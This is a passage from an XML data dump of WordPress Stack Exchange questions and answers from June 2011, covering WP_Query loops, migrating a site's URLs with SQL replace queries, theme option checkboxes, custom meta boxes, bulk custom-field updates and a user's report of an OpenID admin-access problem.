image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail( $attachment );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to check to be sure; the docs are a bit confusing. The default output might be an object. Regardless, &lt;code&gt;get_children()&lt;/code&gt; will get you to the ID of your lone attachment, given the Post ID.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-22T21:05:23.187" LastActivityDate="2011-06-22T21:05:23.187" CommentCount="6" />
  <row Id="20705" PostTypeId="1" AcceptedAnswerId="20710" CreationDate="2011-06-22T15:25:49.530" Score="0" ViewCount="91" Body="&lt;p&gt;This is what I have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$week = date('W');&#xA;$year = date('Y');&#xA;$projects_in_news = new WP_Query(&#xA;                array(&#xA;                'post_type' =&amp;gt;'news',&#xA;                'posts_per_page' =&amp;gt; 5,&#xA;                'orderby' =&amp;gt;'ID',&#xA;                'order' =&amp;gt;'ASC',&#xA;                'w' =&amp;gt; $week,&#xA;                'y' =&amp;gt; $year,&#xA;                'tax_query' =&amp;gt; array(&#xA;                        array(&#xA;                             'taxonomy' =&amp;gt; 'project_taxo',&#xA;                             'terms' =&amp;gt; $post-&amp;gt;post_name,&#xA;                             'field' =&amp;gt; 'slug'&#xA;                             )&#xA;                       )&#xA;                )&#xA;);&#xA;&#xA;// The Loop&#xA;&amp;lt;?php if($projects_in_news-&amp;gt;have_posts()) : ?&amp;gt;&#xA;&#xA;        &amp;lt;?php while($projects_in_news-&amp;gt;have_posts()) : $projects_in_news-&amp;gt;the_post(); ?&amp;gt;&#xA;                &amp;lt;ul class=&quot;side-list&quot;&amp;gt;     &#xA;                    &amp;lt;li&amp;gt;&#xA;                         &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;strong class=&quot;title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                            &amp;lt;em class=&quot;date&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;?php the_time('d F Y'); ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;                          &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php else: ?&amp;gt;&#xA;            &amp;lt;p&amp;gt;There is no news related to this theme&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I have here displays posts from the last week that match the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of determining if this loops query has posts and if not use a different query and loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding the following code in place of &lt;code&gt;&amp;lt;p&amp;gt;There is no news related to this theme&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                  &amp;lt;?php &#xA;                                            $theme_in_news = new WP_Query(&#xA;                                                    array(&#xA;                                                        'post_type' =&amp;gt;'theme',&#xA;                                                        'posts_per_page' =&amp;gt; 5,&#xA;                                                        'orderby' =&amp;gt;'ID',&#xA;                                                        'order' =&amp;gt;'ASC',&#xA;                                                    )&#xA;                                            );&#xA;                                    ?&amp;gt;&#xA;&#xA;                                    &amp;lt;?php if($theme_in_news-&amp;gt;have_posts()) : ?&amp;gt;&#xA;&#xA;                                    &amp;lt;?php while($theme_in_news-&amp;gt;have_posts()) : $theme_in_news-&amp;gt;the_post(); ?&amp;gt;&#xA;                                    &amp;lt;ul class=&quot;side-list&quot;&amp;gt;     &#xA;                                        &amp;lt;li&amp;gt;&#xA;                                            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;                                            &amp;lt;strong class=&quot;title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                                            &amp;lt;em class=&quot;date&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;?php the_time('d F Y'); ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;                                            &amp;lt;/a&amp;gt;&#xA;                                        &amp;lt;/li&amp;gt;&#xA;                                    &amp;lt;/ul&amp;gt;&#xA;                                    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it returns an Internal Server Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6209" LastEditorUserId="6209" LastEditorDisplayName="" LastEditDate="2011-06-22T16:17:31.700" LastActivityDate="2011-06-22T16:17:31.700" Title="If have posts a week old, display, else display a different loop" Tags="&lt;wp-query&gt;&lt;conditional-content&gt;&lt;the-loop&gt;" AnswerCount="1" />
  <row Id="20706" PostTypeId="1" CreationDate="2011-06-22T15:26:41.037" Score="2" ViewCount="53" Body="&lt;p&gt;I am relatively new to Wordpress, have been handed a site developed by someone else on one server, and have to deploy it to another. This site has bbpress installed, plus a load of other stuff. However it also seems to contain (somewhere) references to the other developers server, so even though I have copied the site onto my server all the links still point to his. I'm assuming that somewhere in the template files or database there is a reference to his site but I don't know where. I've done a search / replace and replaced what I can find, but still the same thing happens. I'm just wondering if there is any really obvious place I need to look for things like that. It seems to me he has just done something pretty stupid by hard coding references to his site; but maybe it's for a good reason, I don't know.&lt;/p&gt;&#xA;" OwnerUserId="3425" LastEditorUserId="3797" LastEditorDisplayName="" LastEditDate="2011-06-22T15:37:52.533" LastActivityDate="2011-06-23T09:42:38.250" Title="References to other site everywhere in Wordpress site" Tags="&lt;migration&gt;&lt;configuration&gt;" AnswerCount="3" />
  <row Id="20707" PostTypeId="2" ParentId="20565" CreationDate="2011-06-22T15:37:12.520" Score="0" ViewCount="" Body="&lt;p&gt;Not sure exactly how you're adding &quot;find&quot; to the list of query variables, but this is the method you're supposed to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpa_20565_query_vars( $public_vars ) {&#xA;    $public_vars[] = 'find';&#xA;    return $public_vars;&#xA;}&#xA;add_filter( 'query_vars', 'wpa_20565_query_vars' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use that to add custom pagination for my custom post types and custom filters for various other uses.  It should make WP recognize and ignore the &quot;find&quot; query variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next recommendation would be to enable the &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar/&quot; rel=&quot;nofollow&quot;&gt;Debug Bar plugin&lt;/a&gt; and see what query it is WordPress is actually seeing.  I'd also love to see the code you're using to create the &quot;next page&quot; link that's giving you a bad URL.  It might also be partly responsible for the problems.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-22T15:37:12.520" />
  <row Id="20708" PostTypeId="2" ParentId="20706" CreationDate="2011-06-22T15:38:21.577" Score="1" ViewCount="" Body="&lt;p&gt;There is most probably a load of references still in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I would change the references would be to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;export the DB in SQL file format.&lt;/li&gt;&#xA;&lt;li&gt;Open SQL file in a text editor that supports find and replace.&lt;/li&gt;&#xA;&lt;li&gt;Find instance of &lt;a href=&quot;http://dev.example.com&quot; rel=&quot;nofollow&quot;&gt;http://dev.example.com&lt;/a&gt; and replace with &lt;a href=&quot;http://www.example.com&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save SQL file&lt;/li&gt;&#xA;&lt;li&gt;Drop DB&lt;/li&gt;&#xA;&lt;li&gt;Import saved SQL file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Because I've always changed URLs from longer to shorter URLs when migrating I've never run into the issue of corrupting SERIALIZED data. If you are changing from shorter URL to longer then the above wont work but you can look at a script found here: &lt;a href=&quot;http://davidcoveney.com/mysql-database-search-replace-with-serialized-php/&quot; rel=&quot;nofollow&quot;&gt;http://davidcoveney.com/mysql-database-search-replace-with-serialized-php/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to use the above script:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export your DB and import to your new DB.&lt;/li&gt;&#xA;&lt;li&gt;Configure script to new DB connections and set your find and replace in the script.&lt;/li&gt;&#xA;&lt;li&gt;Run script.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-23T09:42:38.250" LastActivityDate="2011-06-23T09:42:38.250" />
  <row Id="20709" PostTypeId="1" CreationDate="2011-06-22T15:39:45.073" Score="0" ViewCount="44" Body="&lt;p&gt;I just followed this tutorial: &lt;a href=&quot;http://www.mojo-themes.com/2010/09/create-a-wordpress-option-panel/&quot; rel=&quot;nofollow&quot;&gt;http://www.mojo-themes.com/2010/09/create-a-wordpress-option-panel/&lt;/a&gt;&#xA;it has a checkbox option and I'm not able to use it... I try to explain:&#xA;my theme shortname is kr&#xA;so I tried to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($kr_not_tabs == true) {; ?&amp;gt;&amp;lt;h3&amp;gt;tabs&amp;lt;/h3&amp;gt;&amp;lt;?php };?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but nothing happen...&#xA;where is my mistake?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you to all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my database I can see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;option_name | option_value  | autoload&#xA;            |   971         | 0         | kr_not_tabs   |true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I need is a way to use &lt;code&gt;$kr_not_tabs&lt;/code&gt; that is inside &lt;code&gt;wp_option table&lt;/code&gt; (it can be a wordpress MU or 'normal' installation)&#xA;As you can see it is set to true (and this is correct because I've activated it from my custom control panel) but i can't understand where I'm wrong...&#xA;why it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error found.... &#xA;This is the correct way to have it working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(get_option('kr_not_tabs') == true) {; ?&amp;gt;&amp;lt;h3&amp;gt; Ciao &amp;lt;/h3&amp;gt;&amp;lt;?php };?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem where in get_option... i forgot to use it... lol!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-22T17:04:58.897" LastActivityDate="2011-06-22T17:04:58.897" ClosedDate="2011-06-22T21:19:46.853" Title="How to check true false in custom control panel" Tags="&lt;php&gt;&lt;theme-options&gt;" CommentCount="5" FavoriteCount="1" />
  <row Id="20710" PostTypeId="2" ParentId="20705" CreationDate="2011-06-22T15:43:28.280" Score="2" ViewCount="" Body="&lt;p&gt;The code you have provided already has a check to see if posts exist for said query. So all you need to do is expand on it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;    &amp;lt;?php else: ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;There is no news related to this theme&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply place you next query posts in the above code replacing &lt;code&gt;&amp;lt;p&amp;gt;There is no news related to this theme&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-22T15:43:28.280" CommentCount="6" />
  <row Id="20712" PostTypeId="1" CreationDate="2011-06-22T15:51:10.677" Score="0" ViewCount="45" Body="&lt;p&gt;I have read this: &lt;a href=&quot;http://blog-en.icanlocalize.com/installing-wordpress-for-multiple-language-blogs/how-to-localize-wordpress-themes-and-plugins-with-gettext/&quot; rel=&quot;nofollow&quot;&gt;http://blog-en.icanlocalize.com/installing-wordpress-for-multiple-language-blogs/how-to-localize-wordpress-themes-and-plugins-with-gettext/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I have qTranslate installed because I could not find a way to &quot;Trigger&quot; to switch to fr_FR. I use qTranslate to &quot;switch&quot; by using &lt;code&gt;http://mysite.com/page?lang=fr&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question is, how do you &quot;trigger&quot; the switch to another language without manually doing the following: &lt;code&gt;define ('WPLANG', 'fr_FR');&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&#xA;W&lt;/p&gt;&#xA;" OwnerUserId="3892" LastActivityDate="2011-06-22T15:58:09.603" Title="Trigger language change in Wordpress" Tags="&lt;multi-language&gt;" AnswerCount="1" />
  <row Id="20713" PostTypeId="2" ParentId="20706" CreationDate="2011-06-22T15:53:17.420" Score="1" ViewCount="" Body="&lt;p&gt;If the links are hard-coded into theme files I am afraid you'd need to replace them accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you follow what @Brady said you'd need to re-configure the options as step 3 will corrupt the serialised data in the SQL export file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommand using the &lt;a href=&quot;https://github.com/azizur/wordpress-oneclick-migration&quot; rel=&quot;nofollow&quot;&gt;WordPress OneClick Migration&lt;/a&gt; script. It will update site information when moving WordPress sites from server/site to server/site. It comes with &lt;a href=&quot;https://github.com/azizur/wordpress-oneclick-migration#readme&quot; rel=&quot;nofollow&quot;&gt;detailed instruction&lt;/a&gt; on how to use the migration script in the Readme.md file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update (23 June 2011):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: The &lt;a href=&quot;https://github.com/azizur/wordpress-oneclick-migration&quot; rel=&quot;nofollow&quot;&gt;WordPress OneClick Migration&lt;/a&gt; script is written by myself and is opensource and licensed under GPL3.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastEditorUserId="3797" LastEditorDisplayName="" LastEditDate="2011-06-23T09:36:27.757" LastActivityDate="2011-06-23T09:36:27.757" CommentCount="6" />
  <row Id="20714" PostTypeId="1" AcceptedAnswerId="20740" CreationDate="2011-06-22T15:56:13.457" Score="0" ViewCount="156" Body="&lt;p&gt;I have managed to fill custom fields with certain predefined values of all my post, but the changes don't take effect until I manually update the posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Predefined variable and value&#xA;&#xA;$page_description = &quot;This is a sample value that will be put (echo $page_description) into a custom field&quot;;&#xA;&#xA;&#xA;// Echo Variable into Custom Field&#xA;&#xA;echo '&amp;lt;input type=&quot;text&quot; name=&quot;custom-field-name&quot; value=&quot;'.$page_description.'&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above example works as I expected. It inserts the $page_description value into the custom field; so when I go to edit that post I will see the variable value. The issue is that in the current edit screen, without updating yet, if I look at the post on the front end of the site, that custom field has not been updated/saved with that variable value, even though I see in the edit screen. It is not until I update the post that the variable value is saved for good. I have 1,800+ posts that need to be updated. I need a solution to update them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone suggested using ajax to auto-update all existing posts so that the new custom field values are saved to the posts. I read an article about it, but not sure how to do it. Or if there is a plugin out there that I can use. I would like some assistance with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input on this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UDPATE 6-23-11:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the coding I inserting into my theme's custom field file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$postauth = get_user_meta($post-&amp;gt;post_author, 'nickname', true);&#xA;&#xA;/********** UPDATE ALL POST FIELDS Function **********/&#xA;&#xA;    //check if data exists&#xA;&#xA;    if ($postauth){&#xA;&#xA;    //if it exists just echo it out&#xA;&#xA;       echo $postauth;&#xA;&#xA;    }else{&#xA;&#xA;    //if not , update the post meta with your default value and the echo it out.&#xA;       $update_author = get_user_meta($post-&amp;gt;post_author, 'nickname', true);&#xA;       update_post_meta($post-&amp;gt;ID,'nickname',$update_author);&#xA;       echo $update_author;&#xA;    }&#xA;&#xA;    /********** End UPDATE ALL POST FIELDS Function **********/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I after inserting the code and adjusting my terms, I saved the file and refreshed my site. The code should update a custom field (Author) for all posts that belong to an author and save the author's nickname into that field. I have a basic search option separately installed that is set to search custom fields. So I tested if the update worked by searching for the nickname of a given author who has 8 posts published. Three of the eight were manually updated and they showed up in the custom field search I did for the author's nickname. Now the other 5 posts did not come up in the search results, which lets me know that all the posts were not updated. Are there any solutions to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 6-24-11:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been searching everywhere in my theme to figure out where to place the solution provided by Bainternet, but no success. I am using the couponpress theme v6.1.4. I have placed the code below in: _header.php, _single.php, system_customfields.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//check if data exists. This is checking if the predefined field is empty or not.&#xA;                            if ($bizname_field != ''){&#xA;&#xA;                            //if it exists just echo it out&#xA;                                echo 'existing value';&#xA;&#xA;                            }else{&#xA;&#xA;                            //if not , update the post meta with your default value and the echo it out.&#xA;&#xA;                            // New Variable Value&#xA;&#xA;                            $newvalue = 'New value here';&#xA;&#xA;                            update_post_meta($post-&amp;gt;ID,'custom-field-name',$newvalue);&#xA;&#xA;                            echo $newvalue;&#xA;                            } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am going around in circles and would appreciate some help. Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastEditorUserId="1893" LastEditorDisplayName="" LastEditDate="2011-06-24T19:14:09.553" LastActivityDate="2011-06-24T19:14:09.553" Title="Automate post update for all posts?" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;ajax&gt;&lt;automate&gt;&lt;auto-update&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20715" PostTypeId="2" ParentId="20712" CreationDate="2011-06-22T15:58:09.603" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/load_theme_textdomain&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/load_theme_textdomain&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-22T15:58:09.603" CommentCount="1" />
  <row Id="20716" PostTypeId="2" ParentId="20689" CreationDate="2011-06-22T16:09:56.603" Score="1" ViewCount="" Body="&lt;p&gt;You can use reCAPTCHA with contact form 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7-recaptcha-extension/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/contact-form-7-recaptcha-extension/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-22T16:09:56.603" CommentCount="1" />
  <row Id="20717" PostTypeId="1" CreationDate="2011-06-22T16:24:35.520" Score="0" ViewCount="25" Body="&lt;p&gt;I wanted to ask this question for a long time. There are some issues with &lt;strong&gt;Openid&lt;/strong&gt; and WordPress. WordPress websites with &lt;a href=&quot;http://wordpress.org/extend/plugins/openid/&quot; rel=&quot;nofollow&quot;&gt;OpenId&lt;/a&gt; Plugin and &lt;a href=&quot;http://wordpress.org/extend/plugins/mu-open-id/&quot; rel=&quot;nofollow&quot;&gt;OpenId-Mu&lt;/a&gt; are not working as Openid-server(Newer WordPress versions ) for me and I have seen other forum posts on WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might get error messages like ..&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;&quot; Unable to log in with your OpenID provider: No OpenID endpoint found.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have checked on both Multi-site and Single Site installations.Some times the 'openid ' plugin is not working as it should be on single site too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the serious issue is ...any anonymous user can get access to 'Admin panel' if he use your Openid URL to login. For &lt;strong&gt;Ex&lt;/strong&gt;: If you have two Sites &lt;strong&gt;WP1.com&lt;/strong&gt; and &lt;strong&gt;WP2.com&lt;/strong&gt;. A stranger can login as Admin to WP1 using WP2.com as openid . I have my own experience and I have seen this on forum. It happens with any OpenId accepting plugin like Openid,Gigya and janrain. Some plugin authors disabled the Openid option completely to avoid such problems&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody suggest me how to solve these ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)&quot; &lt;strong&gt;Anonymous Admin Access&lt;/strong&gt; &quot; issue ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)Also to make my site as fully functional Openid Server? So me or my users would able to use the site as Openid. Whether using Openid plugin or Openid-Mu plugin. Openid Plugin would be better as it supports Authors and subscriber URLs &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know some PHP and would able to solve the issue if somebody could help me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="391" LastActivityDate="2011-06-22T16:24:35.520" Title="Anonymous access issue with Openid?" Tags="&lt;multisite&gt;&lt;errors&gt;&lt;openid&gt;" />
  <row Id="20718" PostTypeId="1" AcceptedAnswerId="20719" CreationDate="2011-06-22T16:48:59.610" Score="0" ViewCount="93" Body="&lt;p&gt;For my custom post type i needed to add the Attribute Meta box, but i wanted to add an extra field to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here i have copied the Page Attribute meta box code and added my select options, but i need help rewriting the 'Module Type' select box so it functions properly when saving the page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function page_attributes_meta_box2($post) {&#xA;      $post_type_object = get_post_type_object($post-&amp;gt;post_type);&#xA;       if ( $post_type_object-&amp;gt;hierarchical ) {&#xA;           $pages = wp_dropdown_pages(array('post_type' =&amp;gt; $post-&amp;gt;post_type, 'exclude_tree' =&amp;gt; $post-&amp;gt;ID, 'selected' =&amp;gt; $post-&amp;gt;post_parent, 'name' =&amp;gt; 'parent_id', 'show_option_none' =&amp;gt; __('(no parent)'), 'sort_column'=&amp;gt; 'menu_order, post_title', 'echo' =&amp;gt; 0));&#xA;           if ( ! empty($pages) ) {&#xA;   ?&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Parent') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;parent_id&quot;&amp;gt;&amp;lt;?php _e('Parent') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;   &amp;lt;?php echo $pages; ?&amp;gt;&#xA;   &amp;lt;?php&#xA;           } // end empty pages check&#xA;       } // end hierarchical check.&#xA;       ?&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Order') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;menu_order&quot;&amp;gt;&amp;lt;?php _e('Order') ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;input name=&quot;menu_order&quot; type=&quot;text&quot; size=&quot;4&quot; id=&quot;menu_order&quot; value=&quot;&amp;lt;?php echo esc_attr($post-&amp;gt;menu_order) ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;?php if ( 'page' == $post-&amp;gt;post_type ) _e( 'Need help? Use the Help tab in the upper right of your screen.' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;   &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Module Type') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;_cnote_module_page_type&quot;&amp;gt;&amp;lt;?php _e('Module Type') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;   &amp;lt;select id=&quot;_cnote_module_page_type&quot; name=&quot;_cnote_module_page_type&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;default&quot;&amp;gt;Default&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;parent&quot;&amp;gt;Parent&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;chat&quot;&amp;gt;Chat&amp;lt;/option&amp;gt;&#xA;   &amp;lt;/select&amp;gt;&#xA;   &amp;lt;?php&#xA;   }&#xA;&#xA;add_action('add_meta_boxes','add_post_template_metaboxr');&#xA;function add_post_template_metaboxr() {&#xA;    add_meta_box('postparentdiv', __('Post Template'), 'page_attributes_meta_box2', 'module', 'side', 'high');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;**note that i have not renamed everything yet, theres a lot of copy and pasting in here&lt;/p&gt;&#xA;" OwnerUserId="5140" LastActivityDate="2011-06-22T16:54:58.140" Title="Custom select box meta field" Tags="&lt;php&gt;&lt;metabox&gt;" AnswerCount="1" />
  <row Id="20719" PostTypeId="2" ParentId="20718" CreationDate="2011-06-22T16:54:58.140" Score="0" ViewCount="" Body="&lt;p&gt;To save post meta fields from custom meta boxes you need to hook into &lt;code&gt;save_post&lt;/code&gt; with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'save_post', 'myplugin_save_postdata' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is some full example code on adding meta boxes on the codex &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;Function Reference/add meta box&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-22T16:54:58.140" />
  <row Id="20720" PostTypeId="2" ParentId="20706" CreationDate="2011-06-22T16:58:14.177" Score="4" ViewCount="" Body="&lt;p&gt;There might be hardcoded links in the theme; download it and do a multifile search with a text editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing the text dump destroys serialized data; see another Q/A here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9076/why-is-my-database-import-losing-text-widget-data&quot;&gt;Why is my database import losing text widget data?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To correctly change URLs in the database, use the queires below in phpmyadmin for WordPress. You will also need to change URLs in the Buddy Press tables. See &lt;a href=&quot;http://interconnectit.com/719/migrating-a-wordpresswpmubuddypress-website/&quot; rel=&quot;nofollow&quot;&gt;Migrating a WordPress/WPMU/BuddyPress Website - interconnectit.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://olddomain.com', 'http://newdomain.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&#xA;UPDATE wp_posts SET guid = replace(guid, 'http://olddomain.com','http://newdomain.com');&#xA;&#xA;UPDATE wp_posts SET post_content = replace(post_content, 'http://olddomain.com', 'http://newdomain.com');&#xA;&#xA;UPDATE wp_postmeta SET meta_value = replace(meta_value, 'http://olddomain.com', 'http://newdomain.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-06-22T18:45:21.660" LastActivityDate="2011-06-22T18:45:21.660" />
